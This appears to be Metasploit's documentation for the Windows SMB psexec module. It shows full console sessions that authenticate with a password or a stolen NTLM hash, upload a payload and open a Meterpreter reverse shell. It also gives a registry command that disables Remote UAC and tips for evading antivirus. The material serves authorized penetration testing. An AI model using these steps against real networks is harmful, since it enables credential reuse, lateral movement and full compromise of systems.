## Vulnerable Application
PsExec is one of the most popular exploits against Microsoft Windows. It is a great way to test password security and demonstrate how a
stolen password could lead to a complete compromise of an entire corporate network.

To be able to use `exploit/windows/smb/psexec`:

1. A valid username and password must be set.
1. The firewall must allow SMB traffic.
1. The remote Windows machine's network security policy must allow it. See the "Disabling Remote UAC" section below.

### Disabling Remote UAC
If the specified account is a local Administrator and the target is Windows Vista or newer, then "Remote UAC" must be
disabled (the `DWORD` value
`HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy` must be 1).
See [Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy][1] for more information. Without this setting, the
server will respond with `STATUS_ACCESS_DENIED` and PsExec will fail.

Set this registry with the following command:
```
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
```

## Verification Steps

At the minimum, you should be able use psexec to get a session with a valid credential using the following:

```
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 192.168.1.80
RHOST => 192.168.1.80
msf exploit(psexec) > set SMBUser Administrator
SMBUser => Administrator
msf exploit(psexec) > set SMBPass goodpass
SMBPass => goodpass
msf exploit(psexec) > exploit

[*] Started reverse TCP handler on 192.168.1.199:4444
[*] 192.168.1.80:445 - Connecting to the server...
[*] 192.168.1.80:445 - Authenticating to 192.168.1.80:445 as user 'Administrator'...
[*] 192.168.1.80:445 - Selecting native target
[*] 192.168.1.80:445 - Uploading payload...
[*] 192.168.1.80:445 - Created \PTIhqIrQ.exe...
[+] 192.168.1.80:445 - Service started successfully...
[*] 192.168.1.80:445 - Deleting \PTIhqIrQ.exe...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1042) at 2016-03-01 16:51:56 -0600

meterpreter >
```

## Options

By default, using exploit/windows/smb/psexec can be as simple as setting the RHOST option, and you're ready to go. But in reality, you will
probably need to at least configure:

### SMBUser

This is a valid Windows username.

### SMBPass

This can be either the plain text version or the Windows hash.

## Scenarios


**Pass the Hash**

One common penetration testing scenario using psexec is that attackers usually begin by breaking into a box, dumping the hashes, and using
some of those hashes to log into other boxes on the network using psexec. So in that scenario, with the following stolen hash:

```
meterpreter > hashdump
Administrator:500:e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f:::
```

You can simply copy and paste it to the SMBPass option in psexec and get a session without needing to crack the hash:

```
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set SMBUser Administrator
SMBUser => Administrator
msf exploit(psexec) > set SMBPass e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f
SMBPass => e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f
msf exploit(psexec) > set RHOST 192.168.1.80
RHOST => 192.168.1.80
msf exploit(psexec) > exploit

[*] Started reverse TCP handler on 192.168.1.199:4444
[*] 192.168.1.80:445 - Connecting to the server...
[*] 192.168.1.80:445 - Authenticating to 192.168.1.80:445 as user 'Administrator'...
[*] 192.168.1.80:445 - Selecting native target
[*] 192.168.1.80:445 - Uploading payload...
[*] 192.168.1.80:445 - Created \QpxKDHyG.exe...
[+] 192.168.1.80:445 - Service started successfully...
[*] 192.168.1.80:445 - Deleting \QpxKDHyG.exe...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1043) at 2016-03-01 17:02:46 -0600

meterpreter >
```

**Automatic Target**

There are multiple targets available for exploit/windows/smb/psexec. The Automatic target is the default target. If the  Automatic target
detects Powershell on the remote machine, it will try Powershell, otherwise it uses the natie upload. Each target is explained below.

**Powershell Target**

The Powershell target forces the psexec module to run a Powershell command with a payload embedded in it. Since this approach does not
leave anything on disk, it is a very powerful way to evade antivirus. However, older Windows machines might not support Powershell by
default.

Because of this, you will probably want to use the Automatic target setting. The automatic mode will check if the target supports
Powershell before it tries it; the manually set Powershell target won't do that.

**Native Upload Target**

The Native target will attempt to upload the payload (executable) to SYSTEM32 (which can be modified with the
SMBSHARE datastore option), and then execute it with psexec.

This approach is generally reliable, but has a high chance of getting caught by antivirus on the target. To counter this, you can try to
use a template by setting the EXE::Path and EXE::Template datastore options. Or, you can supply your own custom EXE by setting the
`EXE::Custom` option.

**MOF Upload Target**

The [MOF](https://docs.metasploit.com/docs/development/developing-modules/libraries/how-to-use-wbemexec-for-a-write-privilege-attack-on-windows.html) target
technically does not use psexec; it does not explicitly tell Windows to execute anything. All it does is upload two files: the payload
(exe) in SYSTEM32 and a managed object format file in SYSTEM32\wbem\mof\ directory. When Windows sees the MOF file in that directory, it
automatically runs it. Once executed, the code inside the MOF file basically tells Windows to execute our payload in SYSTEM32, and you get
a session.

Although it's a neat trick, Metasploit's MOF library only works against Windows XP and Windows Server 2003. And since it writes files to
disk, there is also a high chance of getting caught by antivirus on the target.

The best way to counter antivirus is still the same. You can either use a different template by setting the EXE::Path and EXE::Template
datastore options or you can supply your own custom EXE by setting the EXE::Custom option.

**Command**

The command target causes the psexec operation to execute an operating system command. This can either be a `cmd/windows/` payload provided
by Metasploit, or the user can specify their own by using the `cmd/windows/generic` payload and setting `CMD`. The output of the command
will be written to a file and then retrieved so that it is accessible. If the command does not immediately return, then reading the output
will fail.

[1]: https://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/
